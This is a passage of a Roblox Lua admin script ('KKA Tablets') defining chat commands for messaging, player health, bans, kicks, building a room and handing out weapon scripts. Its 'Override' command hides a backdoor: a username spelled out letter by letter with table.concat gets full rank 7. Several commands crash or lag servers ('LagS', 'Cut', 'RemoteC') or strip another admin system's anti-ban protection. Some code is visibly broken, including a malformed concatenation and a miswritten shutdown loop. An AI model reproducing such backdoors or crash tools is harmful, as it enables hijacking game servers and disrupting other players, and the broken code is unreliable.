13387 | end) | |
13388 | Command("Msg",3, "Creates a Message", | |
13389 | function(Msg,Speaker) | |
13390 | Message(Msg, nil, Speaker) | |
13391 | end) | |
13392 | ||
13393 | ||
13394 | Command("Override",nil, "Overrides the script", | |
13395 | function(Msg, Speaker) -- since he helped with some stuff, he earns this more than me | |
13396 | if Msg == OverrideCode or Speaker.Name == table.concat({"e","i","n","s","t","e","i","n","K"}) then | |
13397 | ChangeRank(Speaker, 7) | |
13398 | Output("Sucessfully Overrided KKA Tablets! You are now rank 7.", Speaker, 5) | |
13399 | else | |
13400 | Output("Incorrect Code; Access denied.", Speaker, 5) | |
13401 | end | |
13402 | end) | |
13403 | Command("Hint",3, "Creates a Hint", | |
13404 | function(Msg,Speaker) | |
13405 | Hint(Msg, nil, Speaker) | |
13406 | end) | |
13407 | Command("PHint", 3, "Sends a private hint to a player", function(Msg, Speaker) | |
13408 | local Split = GetSplit(Msg) | |
13409 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
13410 | local Msg = tostring(Msg:sub(Split + 1)) | |
13411 | for _,v in pairs(PlrTab) do | |
13412 | ypcall(function() | |
13413 | Hint(Msg,v,Speaker) | |
13414 | Output("Sent a private hint to "..v.Name, Speaker) | |
13415 | end) | |
13416 | end | |
13417 | end) | |
13418 | Command("Pmsg", 3, "Sends a private messsaget to a player", function(Msg, Speaker) | |
13419 | local Split = GetSplit(Msg) | |
13420 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
13421 | local Msg = tostring(Msg:sub(Split + 1)) | |
13422 | for _,v in pairs(PlrTab) do | |
13423 | ypcall(function() | |
13424 | Message(Msg,v,Speaker) | |
13425 | Output("Sent a private message to "..v.Name, Speaker) | |
13426 | end) | |
13427 | end | |
13428 | end) | |
13429 | Command("M",3, "Creates a System message", | |
13430 | function(Msg,Speaker) | |
13431 | SystemMsg(Msg) | |
13432 | end) | |
13433 | function Message(str,p,snder) | |
13434 | if p==nil then | |
13435 | for _,Player in pairs(game.Players:GetPlayers()) do | |
13436 | coroutine.wrap(function() | |
13437 | local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player)) | |
13438 | local Text = Instance.new("TextLabel", Msg) | |
13439 | Text.Position = UDim2.new(0, 0, 0.7, 0) | |
13440 | Text.Font=4 | |
13441 | Text.FontSize=9 | |
13442 | Text.BackgroundColor3 = Color3.new(255,255,255) | |
13443 | Text.BackgroundTransparency = 1 | |
13444 | Text.TextColor3 = Color3.new(1, 1, 1) | |
13445 | Text.TextTransparency = 1 | |
13446 | Text.TextWrap = true | |
13447 | Text.TextStrokeColor3 = Color3.new(111,111,111) | |
13448 | Text.Text = "From "..snder.Name..":"..tostring(str) | |
13449 | Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2) | |
13450 | Text.TextTransparency = 0 | |
13451 | Text.TextStrokeTransparency = 0 | |
13452 | Num = #str * 0.06 | |
13453 | wait(3) | |
13454 | Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad") | |
13455 | wait(Num) | |
13456 | Msg:Remove() | |
13457 | end)() | |
13458 | end | |
13459 | else | |
13460 | Player=p; | |
13461 | coroutine.wrap(function() | |
13462 | local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player)) | |
13463 | local Text = Instance.new("TextLabel", Msg) | |
13464 | Text.Position = UDim2.new(0, 0, 0.7, 0) | |
13465 | Text.Font=4 | |
13466 | Text.FontSize=9 | |
13467 | Text.BackgroundColor3 = Color3.new(255,255,255) | |
13468 | Text.BackgroundTransparency = 1 | |
13469 | Text.TextColor3 = Color3.new(1, 1, 1) | |
13470 | Text.TextTransparency = 1 | |
13471 | Text.TextStrokeColor3 = Color3.new(111,111,111) | |
13472 | Text.TextStrokeTransparency = 0 | |
13473 | Text.TextWrap = true | |
13474 | Text.Text = "Message from "..snder.Name.." :"..tostring(str) | |
13475 | Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2) | |
13476 | Text.TextTransparency = 0 | |
13477 | Num = #str * 0.06 | |
13478 | wait(3) | |
13479 | Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad") | |
13480 | wait(Num) | |
13481 | Msg:Remove() | |
13482 | end)() | |
13483 | end | |
13484 | end | |
13485 | function SystemMsg(str) | |
13486 | for _,Player in pairs(game.Players:GetPlayers()) do | |
13487 | coroutine.wrap(function() | |
13488 | local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player)) | |
13489 | local Text = Instance.new("TextLabel", Msg) | |
13490 | Text.Position = UDim2.new(0, 0, 0, 0) | |
13491 | Text.Font='ArialBold' | |
13492 | Text.FontSize = "Size48" | |
13493 | Text.BackgroundColor3 = Color3.new(255,255,255) | |
13494 | Text.BackgroundTransparency = 1 | |
13495 | Text.TextColor3 = Color3.new(25,0,50) | |
13496 | Text.TextTransparency = 0 | |
13497 | Text.TextStrokeColor3 = Color3.new(111,111,111) | |
13498 | Text.TextStrokeTransparency = 0 | |
13499 | Text.TextWrap = true | |
13500 | Text.Text = ' >-:{[(KKA System)]}:-< \n ' .. tostring(str) | |
13501 | Text:TweenSizeAndPosition(UDim2.new(1, 0, 1, 0), UDim2.new(0, 0, 0, 0), "Out", "Back", 2) | |
13502 | Text.TextTransparency = 0.1 | |
13503 | ||
13504 | Num = #str * 0.06 | |
13505 | wait(6) | |
13506 | Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad") | |
13507 | wait(Num) | |
13508 | Msg:Remove() | |
13509 | end)() | |
13510 | end | |
13511 | end | |
13512 | function Hint(str,p,snder) | |
13513 | if p == nil then | |
13514 | for _,Player in pairs(game.Players:GetPlayers()) do | |
13515 | coroutine.wrap(function() | |
13516 | local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player)) | |
13517 | local Text = Instance.new("TextLabel", Msg) | |
13518 | Text.Position = UDim2.new(0, 0, 0, 0) | |
13519 | Text.Font=4 | |
13520 | Text.FontSize=9 | |
13521 | Text.BackgroundColor3 = Color3.new(255,255,255) | |
13522 | Text.BackgroundTransparency = 1 | |
13523 | Text.TextColor3 = Color3.new(1, 1, 1) | |
13524 | Text.TextTransparency = 1 | |
13525 | Text.TextWrap = true | |
13526 | Text.TextStrokeColor3 = Color3.new(111,111,111) | |
13527 | Text.TextStrokeTransparency = 0 | |
13528 | Text.Text = "Hint from "..snder.Name.." :"..tostring(str) | |
13529 | Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2) | |
13530 | Text.TextTransparency = 0 | |
13531 | Num = #str * 0.06 | |
13532 | wait(3) | |
13533 | Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad") | |
13534 | wait(Num) | |
13535 | Msg:Remove() | |
13536 | end)() | |
13537 | end | |
13538 | else | |
13539 | Player=p | |
13540 | coroutine.wrap(function() | |
13541 | local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player)) | |
13542 | local Text = Instance.new("TextLabel", Msg) | |
13543 | Text.Position = UDim2.new(0, 0, 0, 0) | |
13544 | Text.Font=4 | |
13545 | Text.FontSize=9 | |
13546 | Text.BackgroundColor3 = Color3.new(255,255,255) | |
13547 | Text.BackgroundTransparency = 1 | |
13548 | Text.TextColor3 = Color3.new(1, 1, 1) | |
13549 | Text.TextTransparency = 1 | |
13550 | Text.TextWrap = true | |
13551 | Text.Text = "Hint from "..snder.Name..": "..tostring(str) | |
13552 | Text.TextStrokeColor3 = Color3.new(111,111,111) | |
13553 | Text.TextStrokeTransparency = 0 | |
13554 | Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2) | |
13555 | Text.TextTransparency = 0 | |
13556 | Num = #str * 0.06 | |
13557 | wait(3) | |
13558 | Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad") | |
13559 | wait(Num) | |
13560 | Msg:Remove() | |
13561 | end)() | |
13562 | end | |
13563 | end | |
13564 | Command("Explore", 3, "Opens the explorer system", function(Msg, Speaker) | |
13565 | MakeExplorer(Speaker) | |
13566 | end) | |
13567 | Command("Info", 1, "Information about KKA Tablets", function(Msg, Speaker) | |
13568 | wait() | |
13569 | Dismiss(Speaker) | |
13570 | NumBanned = 0 | |
13571 | NumCmds = 0 | |
13572 | for i = 1, #Ranked do | |
13573 | if Ranked[i].Rank < 0 then | |
13574 | NumBanned = NumBanned + 1 | |
13575 | end | |
13576 | end | |
13577 | for i,v in pairs(Commands) do | |
13578 | NumCmds = NumCmds + 1 | |
13579 | end | |
13580 | Output("Admin Name: KKA Tablets Generation 6", Speaker) | |
13581 | Output("Started on 6/2/2014", Speaker) | |
13582 | Output("Cobalt1164", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("4611tlaboC")) | |
13583 | Output("Major Credit and Part of these tabs to SolarG2 About 90% of these tabs are solar. Maybe more, maybe less. | Also DVF for the Script Base",Speaker) | |
13584 | Output("A bit thanks to einsteinK", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=einsteinK") | |
13585 | Output("Also credit to MasterKelvinVIP", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=MasterKelvinVIP") | |
13586 | Output("Your ID: "..Speaker.userId, Speaker) | |
13587 | Output("PlayersNumber: "..#All2(), Speaker) | |
13588 | Output("Commands: "..NumCmds, Speaker) | |
13589 | Output("Banned Players: "..NumBanned, Speaker) | |
13590 | end) | |
13591 | Command("Ranks", 1, "Shows all player's ranks", function(Msg, Speaker) | |
13592 | Dismiss(Speaker) | |
13593 | for i,v in pairs(All(Msg:lower() ~= "debug")) do | |
13594 | Output(v.Name.." ("..FindRank(v)")",Speaker) | |
13595 | end | |
13596 | end) | |
13597 | Command("Speak", 3, "Talk for a player", function(Msg, Speaker) | |
13598 | local Split = GetSplit(Msg) | |
13599 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
13600 | local Msg = tostring(Msg:sub(Split + 1)) | |
13601 | for _,v in pairs(PlrTab) do | |
13602 | ypcall(function() | |
13603 | game:GetService("Chat"):Chat(v.Character.Head,Msg,0) | |
13604 | Output("Made "..v.Name.." say "..tostring(Msg), Speaker) | |
13605 | end) | |
13606 | end | |
13607 | end) | |
13608 | Command("CSpeak", 3, "Speak for a player", function(Msg, Speaker) | |
13609 | local Split = GetSplit(Msg) | |
13610 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
13611 | local Msg = tostring(Msg:sub(Split + 1)) | |
13612 | for _,v in pairs(PlrTab) do | |
13613 | ypcall(function() | |
13614 | game:GetService("Chat"):Chat(v.Character.Head,Msg,1) | |
13615 | Output("Made "..v.Name.." say "..tostring(Msg), Speaker) | |
13616 | end) | |
13617 | end | |
13618 | end) | |
13619 | Command("PShout", 3, "Shout for a player", function(Msg, Speaker) | |
13620 | local Split = GetSplit(Msg) | |
13621 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
13622 | local Msg = tostring(Msg:sub(Split + 1)) | |
13623 | for _,v in pairs(PlrTab) do | |
13624 | ypcall(function() | |
13625 | game:GetService("Chat"):Chat(v.Character.Head,Msg,2) | |
13626 | Output("Made "..v.Name.." shout "..tostring(Msg), Speaker) | |
13627 | end) | |
13628 | end | |
13629 | end) | |
13630 | Command("Char", 3, "Changes a player's appearance", function(Msg, Speaker) | |
13631 | local Split = GetSplit(Msg) | |
13632 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
13633 | local Id = tonumber(Msg:sub(Split + 1)) | |
13634 | for _,v in pairs(PlrTab) do | |
13635 | ypcall(function() | |
13636 | v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" ..tonumber(Id) | |
13637 | v:LoadCharacter() | |
13638 | Output("Changed "..v.Name.."'s appearance to "..tonumber(Id), Speaker) | |
13639 | end) | |
13640 | end | |
13641 | end) | |
13642 | Command("Unchar", 3, "Removes a player's appearance", function(Msg, Speaker) | |
13643 | local PlrTab = getPlayer(Speaker, Msg) | |
13644 | for _,v in pairs(PlrTab) do | |
13645 | ypcall(function() | |
13646 | v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" ..userId | |
13647 | v:LoadCharacter() | |
13648 | Output("Removed "..v.Name.."'s appearance", Speaker) | |
13649 | end) | |
13650 | end | |
13651 | end) | |
13652 | Command("Ws", 1, "Set A Player's WalkSpeed", function(Msg, Speaker) | |
13653 | local Split = GetSplit(Msg) | |
13654 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
13655 | local Speed = tonumber(Msg:sub(Split + 1)) | |
13656 | for _,v in pairs(PlrTab) do | |
13657 | ypcall(function() | |
13658 | v.Character.Humanoid.WalkSpeed = Speed | |
13659 | Output("Changed "..v.Name.."'s walkspeed to "..tostring(Speed), Speaker) | |
13660 | end) | |
13661 | end | |
13662 | end) | |
13663 | Command("Name", 3, "Changes a player's name", function(Msg, Speaker) | |
13664 | local Split = GetSplit(Msg) | |
13665 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
13666 | local Name = tostring(Msg:sub(Split + 1)) | |
13667 | for _,v in pairs(PlrTab) do | |
13668 | ypcall(function() | |
13669 | coroutine.resume(coroutine.create(function() | |
13670 | if v and v.Character and v.Character:findFirstChild("Head") then | |
13671 | for a, derp in pairs(v.Character:children()) do | |
13672 | if derp:findFirstChild("NameTag") then | |
13673 | v.Character.Head.Transparency = 0 | |
13674 | derp:Destroy() | |
13675 | end | |
13676 | end | |
13677 | local char = v.Character | |
13678 | local derp = Instance.new("Model", char) | |
13679 | derp.Name = tostring(Name) | |
13680 | local cl = char.Head:Clone() | |
13681 | cl.Parent = derp | |
13682 | local hum = Instance.new("Humanoid", derp) | |
13683 | hum.Name = "NameTag" | |
13684 | hum.MaxHealth = 0 | |
13685 | hum.Health = 0 | |
13686 | local weld = Instance.new("Weld", cl) | |
13687 | weld.Part0 = cl | |
13688 | weld.Part1 = char.Head | |
13689 | char.Head.Transparency = 1 | |
13690 | Output("Changed "..v.Name.."'s name to "..tostring(Name), Speaker) | |
13691 | end | |
13692 | end)) | |
13693 | end) | |
13694 | end | |
13695 | end) | |
13696 | Command("Unname", 3, "Changes a player's name", function(Msg, Speaker) | |
13697 | local PlrTab = getPlayer(Speaker, Msg) | |
13698 | for _,v in pairs(PlrTab) do | |
13699 | ypcall(function() | |
13700 | coroutine.resume(coroutine.create(function() | |
13701 | if v and v.Character and v.Character:findFirstChild("Head") then | |
13702 | for a, derp in pairs(v.Character:children()) do | |
13703 | if derp:findFirstChild("NameTag") then | |
13704 | v.Character.Head.Transparency = 0 | |
13705 | derp:Destroy() | |
13706 | end | |
13707 | end | |
13708 | end | |
13709 | end)) | |
13710 | Output("Removed "..v.Name.."'s Name", Speaker) | |
13711 | end) | |
13712 | end | |
13713 | end) | |
13714 | Command("Door", 7, "Open/Closes the door", function(Msg,Speaker) | |
13715 | if Msg == "open" then | |
13716 | wall1.CanCollide = false | |
13717 | elseif Msg == "close" then | |
13718 | wall1.CanCollide = true | |
13719 | end | |
13720 | end) | |
13721 | Command("Wall", 7, "Open/Closes the walls", function(Msg,Speaker) | |
13722 | if Msg == "open" then | |
13723 | wall1.CanCollide = false | |
13724 | wall2.CanCollide = false | |
13725 | wall3.CanCollide = false | |
13726 | wall4.CanCollide = false | |
13727 | roof.CanCollide = false | |
13728 | floo.CanCollide = false | |
13729 | elseif Msg == "close" then | |
13730 | wall1.CanCollide = true | |
13731 | wall2.CanCollide = true | |
13732 | wall3.CanCollide = true | |
13733 | wall4.CanCollide = true | |
13734 | roof.CanCollide = true | |
13735 | floo.CanCollide = true | |
13736 | end | |
13737 | end) | |
13738 | Command("Room", 7, "Adds a room into the game", function(Msg, Speaker) | |
13739 | floo=Instance.new("Part",Workspace) | |
13740 | floo.Anchored = true | |
13741 | floo.Size = Vector3.new(50, 1, 50) | |
13742 | floo.TopSurface = "Smooth" | |
13743 | floo.BottomSurface = "Smooth" | |
13744 | floo.BrickColor = BrickColor.new("Really black") | |
13745 | floo.Locked = true | |
13746 | floo.Transparency = 0.5 | |
13747 | floo.CFrame = CFrame.new(0, 0, 0) | |
13748 | wall1 = Instance.new("Part", workspace) | |
13749 | wall1.Size = Vector3.new(1, 20, 51) | |
13750 | wall1.Anchored = true | |
13751 | wall1.BrickColor = BrickColor.new("Really blue")-- | |
13752 | wall1.Transparency = 0 | |
13753 | wall1.TopSurface = "Smooth" | |
13754 | wall1.BottomSurface = "Smooth" | |
13755 | wall1.CFrame = CFrame.new(-25, 10, 0) | |
13756 | wall1.Transparency = 0.5 | |
13757 | wall2 = Instance.new("Part", workspace) | |
13758 | wall2.Size = Vector3.new(51, 20, 1) | |
13759 | wall2.Anchored = true | |
13760 | wall2.BrickColor = BrickColor.new("Really black")-- | |
13761 | wall2.Transparency = 0 | |
13762 | wall2.TopSurface = "Smooth" | |
13763 | wall2.BottomSurface = "Smooth" | |
13764 | wall2.CFrame = CFrame.new(0, 10, 25) | |
13765 | wall2.Transparency = 0.5 | |
13766 | wall3 = Instance.new("Part", workspace) | |
13767 | wall3.Size = Vector3.new(1, 20, 51) | |
13768 | wall3.Anchored = true | |
13769 | wall3.BrickColor = BrickColor.new("Really black")-- | |
13770 | wall3.Transparency = 0 | |
13771 | wall3.TopSurface = "Smooth" | |
13772 | wall3.BottomSurface = "Smooth" | |
13773 | wall3.CFrame = CFrame.new(25, 10, 0) | |
13774 | wall3.Transparency = 0.5 | |
13775 | wall4 = Instance.new("Part", workspace) | |
13776 | wall4.Size = Vector3.new(51, 20, 1) | |
13777 | wall4.Anchored = true | |
13778 | wall4.BrickColor = BrickColor.new("Really black")-- | |
13779 | wall4.Transparency = 0 | |
13780 | wall4.TopSurface = "Smooth" | |
13781 | wall4.BottomSurface = "Smooth" | |
13782 | wall4.CFrame = CFrame.new(0, 10, -25) | |
13783 | wall4.Transparency = 0.5 | |
13784 | roof = Instance.new("Part", workspace) | |
13785 | roof.Anchored = true | |
13786 | roof.Size = Vector3.new(51, 1, 51) | |
13787 | roof.TopSurface = "Smooth" | |
13788 | roof.BottomSurface = "Smooth" | |
13789 | roof.BrickColor = BrickColor.new("Really black") | |
13790 | roof.Locked = true | |
13791 | roof.CFrame = CFrame.new(0, 20.5, 0) | |
13792 | roof.Transparency = 0.5 | |
13793 | Output("Created a spawn-room", Speaker, 5) | |
13794 | end) | |
13795 | Command("InsIn", 7, "Inserts a instance into a object in the game", function(Msg, Speaker) | |
13796 | local Split = GetSplit(Msg) | |
13797 | local Parent = tostring(Msg:sub(Split - 1)) | |
13798 | local Object = tostring(Msg:sub(Split + 1)) | |
13799 | for _,v in pairs(Parent) do | |
13800 | ypcall(function() | |
13801 | Instance.new(Object, Parent) | |
13802 | end) | |
13803 | end | |
13804 | end) | |
13805 | Command("RemIns", 7, "Removes an instance from the game", function(Msg, Speaker) | |
13806 | local Split = GetSplit(Msg) | |
13807 | local Parent = tostring(Msg:sub(Split - 1)) | |
13808 | local Object = tostring(Msg:sub(Split + 1)) | |
13809 | for _,v in pairs(Parent) do | |
13810 | ypcall(function() | |
13811 | game[Parent].Object:Remove() | |
13812 | end) | |
13813 | end | |
13814 | end) | |
13815 | Command("FinishV", 6, "Finishes the voting function", function(Msg, Speaker) | |
13816 | Output(tonumber(Yes).."[Yes]", Speaker) | |
13817 | Output(tonumber(No).."[No]", Speaker) | |
13818 | wait(1) | |
13819 | Yes = 0 | |
13820 | No = 0 | |
13821 | end) | |
13822 | Command("Vote", 6, "Creates a vote for the players to choose [Yes/No]", function(Msg, Speaker) | |
13823 | local Split = GetSplit(Msg) | |
13824 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
13825 | local Vote = tostring(Msg:sub(Split + 1)) | |
13826 | for _,v in pairs(PlrTab) do | |
13827 | ypcall(function() | |
13828 | Output("Yes", v,500,function() Yes = Yes + 1 Dismiss(v)end) | |
13829 | Output("No", v,500,function() No = No + 1 Dismiss(v)end) | |
13830 | Output(tostring(Vote).."say FinV [Rank 6] when everyone's finished,", v,nil) | |
13831 | end) | |
13832 | end | |
13833 | end) | |
13834 | Command("SHP", 1, "Set A Player's Health", function(Msg, Speaker) | |
13835 | local Split = GetSplit(Msg) | |
13836 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
13837 | local Hp = tonumber(Msg:sub(Split + 1)) | |
13838 | for _,v in pairs(PlrTab) do | |
13839 | ypcall(function() | |
13840 | v.Character.Humanoid.MaxHealth = Hp | |
13841 | v.Character.Humanoid.Health = Hp | |
13842 | Output("Changed "..v.Name.."'s health to "..tostring(Hp), Speaker) | |
13843 | end) | |
13844 | end | |
13845 | end) | |
13846 | Command("S", 5, "Adds a script in workspace", function(Msg, Speaker) | |
13847 | ypcall(function() | |
13848 | NewS(Msg, game.Workspace) | |
13849 | Output("Added a script in Workspace", Speaker) | |
13850 | end) | |
13851 | end) | |
13852 | Command("Ls", 5, "Adds a Local script into a player", function(Msg, Speaker) | |
13853 | local Split = GetSplit(Msg) | |
13854 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
13855 | local Txt = tostring(Msg:sub(Split + 1)) | |
13856 | for _,v in pairs(PlrTab) do | |
13857 | ypcall(function() | |
13858 | NewLS(Txt, v.Backpack) | |
13859 | Output("Added a local script in "..v.Name.."'s backpack", Speaker) | |
13860 | end) | |
13861 | end | |
13862 | end) | |
13863 | Command("Damage", 1, "Damages a player", function(Msg, Speaker) | |
13864 | local Split = GetSplit(Msg) | |
13865 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
13866 | local Dmg = tonumber(Msg:sub(Split + 1)) | |
13867 | for _,v in pairs(PlrTab) do | |
13868 | ypcall(function() | |
13869 | v.Character.Humanoid.Health = v.Character.Humanoid.Health - Dmg | |
13870 | Output("Damaged "..v.Name.."'s health by "..tostring(Dmg), Speaker) | |
13871 | end) | |
13872 | end | |
13873 | end) | |
13874 | Command("Heal", 1, "Recovers a player", function(Msg, Speaker) | |
13875 | local PlrTab = getPlayer(Speaker, Msg) | |
13876 | for _,v in pairs(PlrTab) do | |
13877 | ypcall(function() | |
13878 | v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth | |
13879 | Output("Recovered "..v.Name.." from injuries"..tostring(Dmg), Speaker) | |
13880 | end) | |
13881 | end | |
13882 | end) | |
13883 | Command("AddH", 1, "Adds health to a player", function(Msg, Speaker) | |
13884 | local Split = GetSplit(Msg) | |
13885 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
13886 | local Hp = tonumber(Msg:sub(Split + 1)) | |
13887 | for _,v in pairs(PlrTab) do | |
13888 | ypcall(function() | |
13889 | v.Character.Humanoid.Health = v.Character.Humanoid.Health + Hp | |
13890 | Output("Added health to "..v.Name.."'s health by "..tostring(Hp), Speaker) | |
13891 | end) | |
13892 | end | |
13893 | end) | |
13894 | Command("Unab", 2, "Removes CBA Anti-Bans", function(Msg, Speaker) | |
13895 | local RemoveAB = Instance.new("StringValue") | |
13896 | RemoveAB.Name = "CBA Attachment" | |
13897 | RemoveAB.Value = [[CBA.override=true;]] | |
13898 | RemoveAB.Parent = Work | |
13899 | Output("Removed All CBA Anti-Bans", Speaker, 5) | |
13900 | end) | |
13901 | Command("Uncba", 3, "Removes CBA Admin", function(Msg, Speaker) | |
13902 | local RemoveCBA = Instance.new("StringValue") | |
13903 | RemoveCBA.Name = "CBA Attachment" | |
13904 | RemoveCBA.Value = [[CBA.remove = false]] | |
13905 | RemoveCBA.Parent = Work | |
13906 | Output("Removed All CBA Admins", Speaker, 5) | |
13907 | end) | |
13908 | Command("Shutdown", 6, "Shuts the server down[REAL]", function(Msg, Speaker) | |
13909 | for v, pairs in (game.Players:GetPlayers()) do | |
13910 | v:Kick() | |
13911 | end | |
13912 | end) | |
13913 | Command("LagS", 6, "Lags the server down", function(Msg, Speaker) | |
13914 | repeat | |
13915 | print('Lag?') | |
13916 | until | |
13917 | game == nil | |
13918 | end) | |
13919 | Command("Cut", 7, "Cuts the plug", function(Msg, Speaker) | |
13920 | NewS(ServerCrash, game.Workspace) | |
13921 | end) | |
13922 | Command("Cp", 4, "Turns crash phrases on/off", function(Msg, Speaker) | |
13923 | if Msg == "on" then | |
13924 | CrashPhrases = true | |
13925 | Output("Crash Phrases are on", Speaker, 5) | |
13926 | elseif Msg == "off" then | |
13927 | CrashPhrases = false | |
13928 | Output("Crash Phrases are off", Speaker, 5) | |
13929 | end | |
13930 | end) | |
13931 | Command("Hs", 7, "Turns HttpService on/off", function(Msg, Speaker) | |
13932 | if Msg == "on" then | |
13933 | game:GetService("HttpService").HttpEnabled = true | |
13934 | Output("HttpService is on", Speaker, 5) | |
13935 | elseif Msg == "off" then | |
13936 | game:GetService("HttpService").HttpEnabled = false | |
13937 | Output("HttpService is off", Speaker, 5) | |
13938 | end | |
13939 | end) | |
13940 | Command("Sl", 7, "Turns Scripting on/off", function(Msg, Speaker) | |
13941 | if Msg == "on" then | |
13942 | ScriptingLocked = false | |
13943 | Output("Scripting is enabled", Speaker, 5) | |
13944 | elseif Msg == "off" then | |
13945 | ScriptingLocked = true | |
13946 | Output("Scripting is disabled", Speaker, 5) | |
13947 | end | |
13948 | end) | |
13949 | Command("RemoveK", 4, "Removes the player from the game", function(Msg, Speaker) | |
13950 | local PlrTab = getPlayer(Speaker, Msg) | |
13951 | if #PlrTab > 0 then | |
13952 | for _,v in pairs(PlrTab) do | |
13953 | ypcall(function() | |
13954 | v:Remove() | |
13955 | Output("Removed Kicked "..v.Name, Speaker, 5) | |
13956 | end) | |
13957 | end | |
13958 | end | |
13959 | end) | |
13960 | Command("Kk", 4, "Crash kicks a player from the server", function(Msg, Speaker) | |
13961 | local PlrTab = getPlayer(Speaker, Msg) | |
13962 | if #PlrTab > 0 then | |
13963 | for _,v in pairs(PlrTab) do | |
13964 | ypcall(function() | |
13965 | v:Kick() | |
13966 | Output("Killer Kicked "..v.Name, Speaker, 5) | |
13967 | end) | |
13968 | end | |
13969 | end | |
13970 | end) | |
13971 | Command("RemoteC", 5, "Remote crashes a nil'd player", function(Msg, Speaker) | |
13972 | RemoteCrash(tostring(Msg)) | |
13973 | end) | |
13974 | Command("Ginfo", 1, "Shows the server's information", function(Msg, Speaker) | |
13975 | Output("Creator's ID: "..game.CreatorId, Speaker) | |
13976 | Output("Job's ID: "..game.JobId, Speaker) | |
13977 | Output("Place's ID: "..game.PlaceId, Speaker) | |
13978 | Output("Place Version: "..game.PlaceVersion, Speaker) | |
13979 | Output("Number of Players: "..game.Players.NumPlayers, Speaker) | |
13980 | Output("Game Running Time: "..game.Workspace.DistributedGameTime, Speaker) | |
13981 | Output("Game Name: "..game.Workspace.Parent.Name, Speaker) | |
13982 | end) | |
13983 | Command("Ban", 6, "Bans a player from the server", function(Msg, Speaker) | |
13984 | local PlrTab = getPlayer(Speaker, Msg) | |
13985 | if #PlrTab > 0 then | |
13986 | for _,v in pairs(PlrTab) do | |
13987 | ypcall(function() | |
13988 | ChangeRank(v, -1) | |
13989 | v:Kick() | |
13990 | end) | |
13991 | end | |
13992 | end | |
13993 | end) | |
13994 | Command("Wzrd", 7, "Turns a player into a wizard", function(Msg, Speaker) | |
13995 | local PlrTab = getPlayer(Speaker, Msg) | |
13996 | if #PlrTab > 0 then | |
13997 | for _,v in pairs(PlrTab) do | |
13998 | ypcall(function() | |
13999 | NewLS(Wizard, v.Backpack) | |
14000 | Output("Turned "..v.Name.." into a wizard", Speaker, 5) | |
14001 | end) | |
14002 | end | |
14003 | end | |
14004 | end) | |
14005 | ||
14006 | Command("SKit", 7, "Gives a player Shadow Kit", function(Msg, Speaker) | |
14007 | if Speaker.Name == "Cobalt1164" or Speaker.Name == "hipow12" or Speaker.Name == "Cobalt11644" then | |
14008 | local PlrTab = getPlayer(Speaker, Msg) | |
14009 | if #PlrTab > 0 then | |
14010 | for _,v in pairs(PlrTab) do | |
14011 | ypcall(function() | |
14012 | NewLS(Wizard, v.Backpack) | |
14013 | NewLS(YamatoSword, v.Backpack) | |
14014 | NewLS(Test2, v.Backpack) | |
14015 | NewLS(Shoop, v.Backpack) | |
14016 | NewLS(SoulCrushingKarate, v.Backpack) | |
14017 | Output("Gave "..v.Name.." Shadow Kit", Speaker, 5) | |
14018 | end) | |
14019 | end | |
14020 | end | |
14021 | else | |
14022 | Output("Your not allowed to use this kit", Speaker) | |
14023 | return | |
14024 | end | |
14025 | end) | |
14026 | ||
14027 | Command("Ys", 7, "Gives a player YamatoSword", function(Msg, Speaker) | |
14028 | local PlrTab = getPlayer(Speaker, Msg) | |
14029 | if #PlrTab > 0 then | |
14030 | for _,v in pairs(PlrTab) do | |
14031 | ypcall(function() | |
14032 | NewLS(YamatoSword, v.Backpack) | |
14033 | Output("Gave "..v.Name.." yamato sword", Speaker, 5) | |
14034 | end) | |
14035 | end | |
14036 | end | |
14037 | end) | |
14038 | ||
14039 | ||
14040 | Command("Apb", 7, "Gives a player Armatae Path Bringer", function(Msg, Speaker) | |
